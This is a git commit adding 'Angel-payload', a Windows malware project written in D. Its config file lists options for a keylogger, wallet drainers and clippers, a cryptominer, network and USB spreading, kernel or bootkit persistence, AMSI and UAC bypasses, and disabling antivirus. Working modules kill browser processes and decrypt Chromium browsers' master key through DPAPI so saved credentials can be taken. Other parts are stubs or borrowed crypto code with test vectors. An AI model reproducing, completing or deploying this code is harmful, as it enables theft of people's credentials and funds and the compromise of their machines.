Initiliazation
This commit is contained in:
16
full/Angel-payload/.gitignore
vendored
Normal file
16
full/Angel-payload/.gitignore
vendored
Normal file
@@ -0,0 +1,16 @@
|
||||
.dub
|
||||
docs.json
|
||||
__dummy.html
|
||||
docs/
|
||||
/angel
|
||||
angel.so
|
||||
angel.dylib
|
||||
angel.dll
|
||||
angel.a
|
||||
angel.lib
|
||||
angel-test-*
|
||||
*.exe
|
||||
*.pdb
|
||||
*.o
|
||||
*.obj
|
||||
*.lst
|
||||
0
full/Angel-payload/LICENSE
Normal file
0
full/Angel-payload/LICENSE
Normal file
3
full/Angel-payload/README.txt
Normal file
3
full/Angel-payload/README.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
|
||||
|
||||
dub json libs: gdi32, user32
|
||||
188
full/Angel-payload/angel/config.d
Normal file
188
full/Angel-payload/angel/config.d
Normal file
@@ -0,0 +1,188 @@
|
||||
module angel.config;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
// bool -> possible values: 'true' or 'false'
|
||||
// string -> possible values: character slice (use "" to define a slice)
|
||||
// array - [] -> possible values: multiple character slices seperated by commas (inside)
|
||||
struct Config {
|
||||
struct Server {
|
||||
string host = "127.0.0.1"; // server ip
|
||||
int port = 8000; // server opened port (UFW)
|
||||
string seclevel = "crystals-kyber"; // encryption/verification/signing to use, choose from: 'ecc, crystals-kyber, rsa'
|
||||
}
|
||||
|
||||
bool debug_mode = true;
|
||||
ubyte[] server_pk = [0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83, 0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06, 0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51]; // server public ECC-curve25519 key
|
||||
|
||||
struct Antidbg {
|
||||
bool analysis = true;
|
||||
bool dbg = true;
|
||||
bool kill = false;
|
||||
bool vm = false;
|
||||
}
|
||||
|
||||
bool fakeErr = false;
|
||||
// remove Constants.Errmsg("[]") to use std err msg
|
||||
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
|
||||
|
||||
struct Exclude {
|
||||
string[] country = ["de", "us", "ru"]; // country to exclude from stealing
|
||||
string[] path = ["", ""]; // path to exclude from antivirus
|
||||
string[] network = [""]; // disables access to specific network/web addresses
|
||||
}
|
||||
|
||||
struct Spread {
|
||||
bool local_network = true;
|
||||
bool messenger = true;
|
||||
bool mail = false;
|
||||
}
|
||||
|
||||
struct Infect {
|
||||
bool iso = true;
|
||||
bool usb = true;
|
||||
bool systemfil = true;
|
||||
}
|
||||
|
||||
struct Miner { // choose from: 'gpu/cpu'
|
||||
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
|
||||
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
|
||||
Constants.Coin ltc = Constants.Coin(1, "", "");
|
||||
Constants.Coin sol = Constants.Coin(1, "", "");
|
||||
Constants.Coin eth = Constants.Coin(1, "", "");
|
||||
}
|
||||
|
||||
struct Exfil {
|
||||
bool applications = true;
|
||||
|
||||
struct Browser {
|
||||
bool gecko = false;
|
||||
bool chromium = true;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Browser browser;
|
||||
|
||||
struct Network {
|
||||
bool ftp = false;
|
||||
bool ssh = false;
|
||||
bool vpn = false;
|
||||
bool proxy = false;
|
||||
bool hook = false;
|
||||
}
|
||||
|
||||
Network network;
|
||||
|
||||
struct Files {
|
||||
bool common = true;
|
||||
bool important = true;
|
||||
string[] commonFiles = [""];
|
||||
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
|
||||
}
|
||||
|
||||
Files files;
|
||||
|
||||
struct Games {
|
||||
bool accounts = true;
|
||||
bool saves = false;
|
||||
bool inject = true;
|
||||
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
|
||||
}
|
||||
|
||||
Games games;
|
||||
|
||||
struct Mail {
|
||||
bool client = true;
|
||||
bool web = false;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Mail mail;
|
||||
|
||||
bool filterAccounts = false;
|
||||
bool systemInformation = false;
|
||||
bool porndetect = false;
|
||||
|
||||
struct Wallet {
|
||||
bool seed = true;
|
||||
|
||||
Constants.Address xmrDrainer = Constants.Address("");
|
||||
Constants.Address btcDrainer = Constants.Address("");
|
||||
Constants.Address ltcDrainer = Constants.Address("");
|
||||
Constants.Address solDrainer = Constants.Address("");
|
||||
Constants.Address ethDrainer = Constants.Address("");
|
||||
|
||||
Constants.Address xmrClipper = Constants.Address("");
|
||||
Constants.Address btcClipper = Constants.Address("");
|
||||
Constants.Address ltcClipper = Constants.Address("");
|
||||
Constants.Address ethClipper = Constants.Address("");
|
||||
Constants.Address solClipper = Constants.Address("");
|
||||
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Wallet wallet;
|
||||
|
||||
struct Messenger {
|
||||
bool messages = false;
|
||||
bool login = true;
|
||||
bool inject = false;
|
||||
}
|
||||
|
||||
Messenger messenger;
|
||||
|
||||
bool snapshot = false;
|
||||
bool screenshot = true;
|
||||
}
|
||||
|
||||
struct Conn {
|
||||
bool keylogger = true;
|
||||
bool micrecord = false;
|
||||
bool vidrecord = false;
|
||||
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
|
||||
}
|
||||
|
||||
struct Persistence {
|
||||
string mode = ""; // bootkit, ring0 kernel mode, registry, startup files, app startup
|
||||
// choose from: 'boot, kernel, reg, file, app'
|
||||
}
|
||||
|
||||
struct Privesc {
|
||||
bool fixExclusion = true;
|
||||
bool disReagentC = true;
|
||||
bool disEtw = true;
|
||||
bool amsiBypass = true;
|
||||
bool uacBypass = true;
|
||||
bool destroyDef = false;
|
||||
bool disableAv = false;
|
||||
}
|
||||
|
||||
struct Dropper {
|
||||
bool memLoad = true; // load into memory/run module
|
||||
bool startup = false; // will use the same method as persistence
|
||||
bool update = false; // scrape again every time from URL
|
||||
string url = ""; // URL to scrape file from
|
||||
}
|
||||
|
||||
struct Dnsmanip {
|
||||
bool exclude = true; // excludes files from exclude struct to deny web access
|
||||
}
|
||||
|
||||
Server server;
|
||||
Antidbg antidbg;
|
||||
Exclude exclude;
|
||||
Spread spread;
|
||||
Infect infect;
|
||||
Miner miner;
|
||||
Exfil exfil;
|
||||
Conn conn;
|
||||
Persistence persistence;
|
||||
Privesc privesc;
|
||||
Dropper dropper;
|
||||
Dnsmanip dnsmanip;
|
||||
}
|
||||
|
||||
Config config;
|
||||
64
full/Angel-payload/angel/exfil/browser/browser.d
Normal file
64
full/Angel-payload/angel/exfil/browser/browser.d
Normal file
@@ -0,0 +1,64 @@
|
||||
module angel.exfil.browser.browser;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.utils;
|
||||
import angel.config : config;
|
||||
import angel.utils.constants;
|
||||
import angel.exfil.browser.inject;
|
||||
import angel.exfil.browser.chromium.chromium;
|
||||
import angel.exfil.browser.gecko.gecko;
|
||||
// External imports
|
||||
import std.path;
|
||||
import std.stdio;
|
||||
import std.file;
|
||||
import core.thread.osthread;
|
||||
|
||||
// TODO fix process killing
|
||||
// BUG doesn't equally loop through set of procs, just operates on last one
|
||||
|
||||
class Browser {
|
||||
this() {
|
||||
Logger.log(LogLevel.Event, "Initializing browser...");
|
||||
|
||||
string[] procs = ["firefox.exe", "chrome.exe", "msedge.exe"];
|
||||
|
||||
if (!config.debug_mode) {
|
||||
Utils.killproc(procs);
|
||||
}
|
||||
|
||||
string browser_path = buildPath(Constants.workdir, "Browser");
|
||||
|
||||
if (!exists(browser_path)) {
|
||||
mkdir(browser_path);
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Event, "Initialized browser.");
|
||||
}
|
||||
|
||||
public void run() {
|
||||
Thread[] threads;
|
||||
|
||||
if (config.exfil.browser.gecko) {
|
||||
auto t = new Thread(() => new Gecko().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread gecko...");
|
||||
t.start();
|
||||
}
|
||||
else if (config.exfil.browser.chromium) {
|
||||
auto t = new Thread(() => new Chromium().entry());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread chromium...");
|
||||
t.start();
|
||||
} else if (config.exfil.browser.inject) {
|
||||
auto t = new Thread(() => new Inject().inject());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread browser inject...");
|
||||
t.start();
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
77
full/Angel-payload/angel/exfil/browser/chromium/chromium.d
Normal file
77
full/Angel-payload/angel/exfil/browser/chromium/chromium.d
Normal file
@@ -0,0 +1,77 @@
|
||||
module angel.exfil.browser.chromium.chromium;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
import angel.utils.logging;
|
||||
import angel.exfil.browser.chromium.dpapi;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.string;
|
||||
import std.file;
|
||||
import std.base64;
|
||||
import std.Path;
|
||||
import std.format;
|
||||
import std.json;
|
||||
|
||||
class Chromium {
|
||||
private {
|
||||
string localst;
|
||||
string[] profs = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"];
|
||||
string[] paths = ["Microsoft\\Edge", "Thorium", "Google\\Chrome"];
|
||||
}
|
||||
|
||||
public void entry() {
|
||||
Logger.log(LogLevel.Debug, "Entered chromium");
|
||||
|
||||
foreach (path; paths) {
|
||||
string pat = buildPath(Constants.local_appdata, path, "User Data");
|
||||
|
||||
if (exists(pat)) {
|
||||
Logger.log(LogLevel.Debug, format("Browser dir %s exists", pat));
|
||||
|
||||
this.localst = buildPath(pat, "Local State");
|
||||
|
||||
if (exists(localst)) {
|
||||
Logger.log(LogLevel.Debug, format("Local State file %s exists for browser %s", localst, pat));
|
||||
|
||||
ubyte[] master_key = this.mkey();
|
||||
|
||||
if (master_key is null || master_key.length == 0) {
|
||||
Logger.log(
|
||||
LogLevel.Debug,
|
||||
"Master key contains 0 bytes, possible uncaught/unknown error. Skipping..."
|
||||
);
|
||||
Logger.log(LogLevel.Debug, format("%s", master_key));
|
||||
return;
|
||||
} else {
|
||||
Logger.log(LogLevel.Debug, format("Decrypted master key: %s", master_key));
|
||||
}
|
||||
|
||||
foreach(prof; profs) {
|
||||
string profpat = buildPath(pat, prof);
|
||||
|
||||
if (exists(profpat)) {
|
||||
Logger.log(LogLevel.Debug, format("Profile %s exists for browser %s", prof, pat));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private ubyte[] mkey() {
|
||||
string bjson = readText(this.localst);
|
||||
|
||||
JSONValue json = parseJSON(bjson);
|
||||
|
||||
string encoded = json["os_crypt"]["encrypted_key"].str;
|
||||
|
||||
ubyte[] bdecoded = Base64.decode(encoded.strip());
|
||||
|
||||
ubyte[] bkey_crypt = bdecoded[5 .. $];
|
||||
|
||||
ubyte[] dat = dpapi(bkey_crypt);
|
||||
|
||||
return dat;
|
||||
}
|
||||
}
|
||||
46
full/Angel-payload/angel/exfil/browser/chromium/dpapi.d
Normal file
46
full/Angel-payload/angel/exfil/browser/chromium/dpapi.d
Normal file
@@ -0,0 +1,46 @@
|
||||
module angel.exfil.browser.chromium.dpapi;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import core.sys.windows.windows;
|
||||
import core.stdc.stdlib;
|
||||
import std.string;
|
||||
|
||||
extern(Windows)
|
||||
{
|
||||
BOOL CryptUnprotectData(
|
||||
const(DATA_BLOB)* pDataIn,
|
||||
LPCWSTR* ppszDataDescr,
|
||||
const(DATA_BLOB)* pOptionalEntropy,
|
||||
void* pvReserved,
|
||||
void* pPromptStruct,
|
||||
uint dwFlags,
|
||||
DATA_BLOB* pDataOut
|
||||
);
|
||||
}
|
||||
|
||||
extern(Windows)
|
||||
struct DATA_BLOB
|
||||
{
|
||||
uint cbData;
|
||||
ubyte* pbData;
|
||||
}
|
||||
|
||||
ubyte[] dpapi(ubyte[] key_crypt) {
|
||||
DATA_BLOB inBlob;
|
||||
DATA_BLOB outBlob;
|
||||
|
||||
inBlob.pbData = key_crypt.ptr;
|
||||
inBlob.cbData = cast(uint) key_crypt.length;
|
||||
|
||||
if (CryptUnprotectData(&inBlob, null, null, null, null, 0, &outBlob)) {
|
||||
ubyte[] decrypted = cast(ubyte[])(outBlob.pbData[0 .. outBlob.cbData]).idup;
|
||||
|
||||
free(outBlob.pbData);
|
||||
|
||||
return decrypted;
|
||||
} else {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
2
full/Angel-payload/angel/exfil/browser/chromium/inject.d
Normal file
2
full/Angel-payload/angel/exfil/browser/chromium/inject.d
Normal file
@@ -0,0 +1,2 @@
|
||||
module angel.exfil.browser.chromium.inject;
|
||||
|
||||
20
full/Angel-payload/angel/exfil/browser/gecko/gecko.d
Normal file
20
full/Angel-payload/angel/exfil/browser/gecko/gecko.d
Normal file
@@ -0,0 +1,20 @@
|
||||
module angel.exfil.browser.gecko.gecko;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
class Gecko {
|
||||
this() {
|
||||
|
||||
}
|
||||
|
||||
private {
|
||||
|
||||
}
|
||||
|
||||
public void entry() {
|
||||
Logger.log(LogLevel.Debug, "Entered gecko");
|
||||
}
|
||||
}
|
||||
2
full/Angel-payload/angel/exfil/browser/gecko/inject.d
Normal file
2
full/Angel-payload/angel/exfil/browser/gecko/inject.d
Normal file
@@ -0,0 +1,2 @@
|
||||
module angel.exfil.browser.gecko.injection;
|
||||
|
||||
15
full/Angel-payload/angel/exfil/browser/inject.d
Normal file
15
full/Angel-payload/angel/exfil/browser/inject.d
Normal file
@@ -0,0 +1,15 @@
|
||||
module angel.exfil.browser.inject;
|
||||
|
||||
class Inject {
|
||||
this() {
|
||||
|
||||
}
|
||||
|
||||
private {
|
||||
|
||||
}
|
||||
|
||||
void inject() {
|
||||
|
||||
}
|
||||
}
|
||||
158
full/Angel-payload/angel/main.d
Normal file
158
full/Angel-payload/angel/main.d
Normal file
@@ -0,0 +1,158 @@
|
||||
module angel.main;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.constants;
|
||||
import angel.utils.clean;
|
||||
import angel.exfil.browser.browser;
|
||||
import angel.utils.init;
|
||||
//import angel.utils.cryptography.threefish;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.serpent;
|
||||
import angel.utils.cryptography.cryptography;
|
||||
import angel.utils.cryptography.gcm.gcm;
|
||||
import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.threefish;
|
||||
import angel.config : config;
|
||||
//import angel.conn.vnc.vnc;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.conv : to;
|
||||
import core.thread.osthread;
|
||||
import std.format;
|
||||
|
||||
// TODO optimize imports (only neccessary)
|
||||
// TODO mutex check + execution timer
|
||||
// TODO anti dbg
|
||||
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
||||
// TODO veh/vectored syscalls in suspended thread
|
||||
|
||||
alias ConstructorDelegate = void function();
|
||||
|
||||
int main() {
|
||||
init();
|
||||
|
||||
Logger.log(LogLevel.Event, "Initialized.");
|
||||
|
||||
// can place args inside of browser init and define in this
|
||||
ConstructorDelegate[] constructors = [
|
||||
() => new Browser().run,
|
||||
];
|
||||
|
||||
Thread[] threads;
|
||||
|
||||
foreach (co; constructors) {
|
||||
auto t = new Thread(() => co());
|
||||
threads ~= t;
|
||||
Logger.log(LogLevel.Event, "Running thread...");
|
||||
t.start();
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
|
||||
clean();
|
||||
|
||||
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); // shared secret, encrypt master key (threefish512) with it
|
||||
|
||||
// TODO generate threefish512 key
|
||||
// TODO serpent-256 encrypt the threefish key with shared secret
|
||||
// TODO add pkcs5/7 padding for serpent, also port C implementation of galois 256bit to Dlang
|
||||
|
||||
// BUG fix padder, fills in the missing bytes of last encrypted/decrypted chunk with random placeholder chars
|
||||
// BUG add correct template/tests aes, aead, galois -> follow struct evenly (same implementation)
|
||||
// TODO might port some shitty C aes256 galois implementation
|
||||
|
||||
Serpent serp;
|
||||
|
||||
auto key = cast(ubyte[])keypair.sharedSecret.dup;
|
||||
|
||||
serp.start(key);
|
||||
|
||||
ubyte[] input = cast(ubyte[])"Hello, World! meow meow meow LOLOLOL hi!!!!!".dup;
|
||||
ubyte padding = cast(ubyte)(16 - (input.length % 16));
|
||||
ubyte[] output = new ubyte[input.length + padding];
|
||||
serp.encrypt(input, output);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
|
||||
|
||||
ubyte[] decrypted = new ubyte[output.length];
|
||||
|
||||
serp.decrypt(output, decrypted);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", decrypted));
|
||||
|
||||
serp.reset();
|
||||
|
||||
|
||||
|
||||
|
||||
ubyte[32] key2;
|
||||
ubyte[12] iv;
|
||||
|
||||
key2[] = cast(ubyte[])"12345678901234567890123456789012";
|
||||
iv[] = cast(ubyte[])"123456789012";
|
||||
|
||||
AES aes = AES(key2);
|
||||
|
||||
GCM!AES gcm = GCM!AES(aes);
|
||||
|
||||
gcm.start(key2, iv);
|
||||
ubyte[] encryptedData = new ubyte[input.length];
|
||||
gcm.encrypt(input, encryptedData);
|
||||
ubyte[16] tag;
|
||||
gcm.finish(tag, encryptedData);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("AES Encrypted data: %s", encryptedData));
|
||||
|
||||
GCM!AES gcmDecrypt = GCM!AES(aes);
|
||||
gcmDecrypt.start(key2, iv);
|
||||
ubyte[] decryptedData = new ubyte[encryptedData.length];
|
||||
gcmDecrypt.decrypt(encryptedData, decryptedData);
|
||||
ubyte[16] tagVerify;
|
||||
gcmDecrypt.finish(tagVerify, decryptedData);
|
||||
|
||||
Logger.log(LogLevel.Debug, format("AES Decrypted data: %s", decryptedData));
|
||||
|
||||
|
||||
|
||||
auto kiii = Threefish512.generateKey();
|
||||
auto tweaki = Threefish512.generateTweak();
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
||||
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
||||
|
||||
Threefish512 cipher = new Threefish512();
|
||||
cipher.setup(kiii, tweaki);
|
||||
string text = "meow!";
|
||||
ulong[8] plain;
|
||||
plain[] = 0;
|
||||
|
||||
foreach (i, c; text)
|
||||
{
|
||||
plain[i / 8] |= cast(ulong)c << ((i % 8) * 8);
|
||||
}
|
||||
|
||||
auto encrypted_three = cipher.crypt(plain);
|
||||
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_three));
|
||||
|
||||
auto decrypted_three = cipher.decrypt(encrypted_three);
|
||||
Logger.log(LogLevel.Debug, format("Threefish Decrypted ulong array: %s", decrypted_three));
|
||||
|
||||
char[] decrypted_text;
|
||||
foreach (ulong val; decrypted_three) {
|
||||
for (int i = 0; i < 8; i++) {
|
||||
char c = cast(char)((val >> (i * 8)) & 0xFF);
|
||||
if (c != '\0') {
|
||||
decrypted_text ~= c;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Threefish Decrypted Text: %s", decrypted_text));
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
9
full/Angel-payload/angel/utils/clean.d
Normal file
9
full/Angel-payload/angel/utils/clean.d
Normal file
@@ -0,0 +1,9 @@
|
||||
module angel.utils.clean;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
|
||||
void clean() {
|
||||
|
||||
}
|
||||
36
full/Angel-payload/angel/utils/constants.d
Normal file
36
full/Angel-payload/angel/utils/constants.d
Normal file
@@ -0,0 +1,36 @@
|
||||
module angel.utils.constants;
|
||||
|
||||
// Internal imports
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.process;
|
||||
import std.Path;
|
||||
|
||||
class Constants {
|
||||
public static string appdata;
|
||||
public static string local_appdata;
|
||||
public static string workdir;
|
||||
public static string logFilePath;
|
||||
|
||||
static this() {
|
||||
appdata = environment.get("APPDATA");
|
||||
local_appdata = environment.get("LOCALAPPDATA");
|
||||
|
||||
workdir = buildPath(appdata, "Angel");
|
||||
logFilePath = buildPath(workdir, "angel.log");
|
||||
}
|
||||
|
||||
struct Address {
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Coin {
|
||||
int percentage = 30;
|
||||
string source = "gpu";
|
||||
string addr;
|
||||
}
|
||||
|
||||
struct Errmsg {
|
||||
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
|
||||
}
|
||||
}
|
||||
198
full/Angel-payload/angel/utils/cryptography/aead.d
Normal file
198
full/Angel-payload/angel/utils/cryptography/aead.d
Normal file
@@ -0,0 +1,198 @@
|
||||
module angel.utils.cryptography.aead;
|
||||
|
||||
public import angel.utils.cryptography.blockcipher;
|
||||
|
||||
///
|
||||
/// Test if T is a AEAD cipher.
|
||||
///
|
||||
@safe
|
||||
template isAEADCipher(T)
|
||||
{
|
||||
enum bool isAEADCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = void; //Can define
|
||||
|
||||
bc.start(true, block, block); // start with key, iv
|
||||
|
||||
string name = T.name;
|
||||
uint macSize = T.macSize;
|
||||
|
||||
//BlockCipher c = bc.getUnderlyingCipher();
|
||||
bc.processAADBytes(cast (const ubyte[])block);
|
||||
|
||||
ubyte[] slice = bc.processBytes(cast(const ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
//ubyte[] mac = bc.finish(block);
|
||||
|
||||
size_t len = bc.finish(cast(ubyte[]) [0], cast(ubyte[]) [0]);
|
||||
size_t s1 = bc.getUpdateOutputSize(cast(size_t) 0);
|
||||
size_t s2 = bc.getOutputSize(cast(size_t) 0);
|
||||
}));
|
||||
}
|
||||
|
||||
@safe
|
||||
public interface IAEADEngine
|
||||
{
|
||||
|
||||
public {
|
||||
|
||||
/// Initialize the underlying cipher.
|
||||
/// Params:
|
||||
/// forEncryption = true if we are setting up for encryption, false otherwise.
|
||||
/// key = Secret key.
|
||||
/// nonce = Number used only once.
|
||||
void start(in ubyte[] key, in ubyte[] nonce) nothrow @nogc;
|
||||
|
||||
/// Returns: Returns the name of the algorithm.
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
|
||||
/// Process additional authenticated data.
|
||||
void processAADBytes(in ubyte[] aad) nothrow;
|
||||
|
||||
/// Encrypt or decrypt a block of bytes.
|
||||
///
|
||||
/// Params:
|
||||
/// input = Input buffer.
|
||||
/// output = Output buffer.
|
||||
///
|
||||
/// Returns: A slice pointing to the output data.
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/// Close the AEAD cipher by producing the remaining output and a authentication tag.
|
||||
///
|
||||
/// Params:
|
||||
/// macBuf = Buffer for the MAC tag.
|
||||
/// output = Buffer for remaining output data.
|
||||
///
|
||||
/// Note: In decryption mode this does not verify the integrity of the data. Verification has to be done by the programmer!
|
||||
///
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output);
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes an input of len bytes.
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const;
|
||||
|
||||
/// Returns: Return the size of the output buffer required for a processBytes plus a finish with an input of len bytes.
|
||||
size_t getOutputSize(size_t len) nothrow const;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// TODO AEAD cipher wrapper
|
||||
/// Wrapper class for AEAD ciphers
|
||||
@safe
|
||||
public class AEADCipherWrapper(T) if(isAEADCipher!T): IAEADEngine
|
||||
{
|
||||
|
||||
private T cipher;
|
||||
|
||||
public {
|
||||
|
||||
void start(in ubyte[] key, in ubyte[] iv) {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
@property
|
||||
string name() pure nothrow {
|
||||
return cipher.name;
|
||||
}
|
||||
|
||||
void processAADBytes(in ubyte[] aad) nothrow {
|
||||
cipher.processAADBytes(aad);
|
||||
}
|
||||
|
||||
|
||||
ubyte[] processBytes(in ubyte[] input, ubyte[] output) nothrow {
|
||||
return cipher.processBytes(input, output);
|
||||
}
|
||||
|
||||
size_t finish(ubyte[] macBuf, ubyte[] output){
|
||||
return cipher.finish(macBuf, output);
|
||||
}
|
||||
|
||||
size_t getUpdateOutputSize(size_t len) nothrow const {
|
||||
return cipher.getUpdateOutputSize(len);
|
||||
}
|
||||
|
||||
size_t getOutputSize(size_t len) nothrow const {
|
||||
return cipher.getOutputSize(len);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
version(unittest) {
|
||||
|
||||
// unittest helper functions
|
||||
|
||||
|
||||
/// Runs decryption and encryption using AEADCipher cipher with given keys, plaintexts, and ciphertexts.
|
||||
///
|
||||
/// Params:
|
||||
/// hexKeys = the keys encoded in hex
|
||||
/// hexIVs = hex encoded nonces
|
||||
/// hexPlaintexts = the plaintexts encoded in hex
|
||||
/// hexAAD = additional authenticated data
|
||||
/// hexCiphertexts = the corresponding ciphertexts in hex
|
||||
/// macSize = MAC sizes in bits
|
||||
///
|
||||
/// Throws:
|
||||
/// AssertionError if encryption or decryption failed
|
||||
@safe
|
||||
public void AEADCipherTest(
|
||||
IAEADEngine cipher,
|
||||
in string[] keys,
|
||||
in string[] ivs,
|
||||
in string[] plaintexts,
|
||||
in string[] aads,
|
||||
in string[] ciphertexts,
|
||||
in uint[] macSize
|
||||
) {
|
||||
|
||||
import dcrypt.aead.aead;
|
||||
import std.format: format;
|
||||
|
||||
alias const (ubyte)[] octets;
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
octets plain = cast(octets) plaintexts[i];
|
||||
octets aad = cast(octets) aads[i];
|
||||
octets ciphertext = cast(octets) ciphertexts[i];
|
||||
|
||||
ubyte[] output = new ubyte[plain.length];
|
||||
|
||||
// set to encryption mode
|
||||
cipher.start(true, cast(octets) test_key, cast(octets) ivs[i]);
|
||||
|
||||
output.length = cipher.getOutputSize(plain.length);
|
||||
|
||||
immutable size_t taglen = macSize[i]/8;
|
||||
octets expectedMac = ciphertext[$-taglen..$];
|
||||
ciphertext = ciphertext[0..$-taglen];
|
||||
|
||||
// assert(cipher.getUpdateOutputSize(plain.length) == plain.length);
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
|
||||
assert(output.length >= cipher.getUpdateOutputSize(plain.length));
|
||||
|
||||
// test encryption
|
||||
cipher.processAADBytes(aad);
|
||||
ubyte[] out_slice = cipher.processBytes(plain, output);
|
||||
|
||||
ubyte[16] mac;
|
||||
size_t len = out_slice.length+cipher.finish(mac, output[out_slice.length..$]);
|
||||
|
||||
assert(output == ciphertext,
|
||||
format("%s encrypt: %(%.2x%) != %(%.2x%)", cipher.name, output, ciphertexts[i]));
|
||||
|
||||
assert(mac[0..taglen] == expectedMac);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
549
full/Angel-payload/angel/utils/cryptography/aes.d
Normal file
549
full/Angel-payload/angel/utils/cryptography/aes.d
Normal file
@@ -0,0 +1,549 @@
|
||||
module angel.utils.cryptography.aes;
|
||||
|
||||
import angel.utils.cryptography.blockcipher;
|
||||
import angel.utils.cryptography.exceptions;
|
||||
import angel.utils.cryptography.bitmanip;
|
||||
|
||||
/// Test AES encryption and decryption of a single block with 128, 192 and 256 bits key length.
|
||||
/// test vectors from http://www.inconteam.com/software-development/41-encryption/55-aes-test-vectors
|
||||
@safe
|
||||
unittest {
|
||||
|
||||
static string[] test_keys = [
|
||||
x"2b7e151628aed2a6abf7158809cf4f3c",
|
||||
x"8e73b0f7da0e6452c810f32b809079e562f8ead2522c6b7b",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4",
|
||||
x"603deb1015ca71be2b73aef0857d77811f352c073b6108d72d9810a30914dff4"
|
||||
];
|
||||
|
||||
static string[] test_plaintexts = [
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"6bc1bee22e409f96e93d7e117393172a",
|
||||
x"ae2d8a571e03ac9c9eb76fac45af8e51"
|
||||
];
|
||||
|
||||
static string[] test_ciphertexts = [
|
||||
x"3ad77bb40d7a3660a89ecaf32466ef97",
|
||||
x"bd334f1d6e45f25ff712a214571fa5cc",
|
||||
x"f3eed1bdb5d2a03c064b5a7e3db181f8",
|
||||
x"591ccb10d410ed26dc5ba74a31362870"
|
||||
|
||||
];
|
||||
|
||||
AESEngine t = new AESEngine();
|
||||
|
||||
blockCipherTest(t, test_keys, test_plaintexts, test_ciphertexts);
|
||||
|
||||
}
|
||||
|
||||
static assert(isBlockCipher!AES, "AES is not a block cipher!");
|
||||
|
||||
/// OOP API wrapper for AES
|
||||
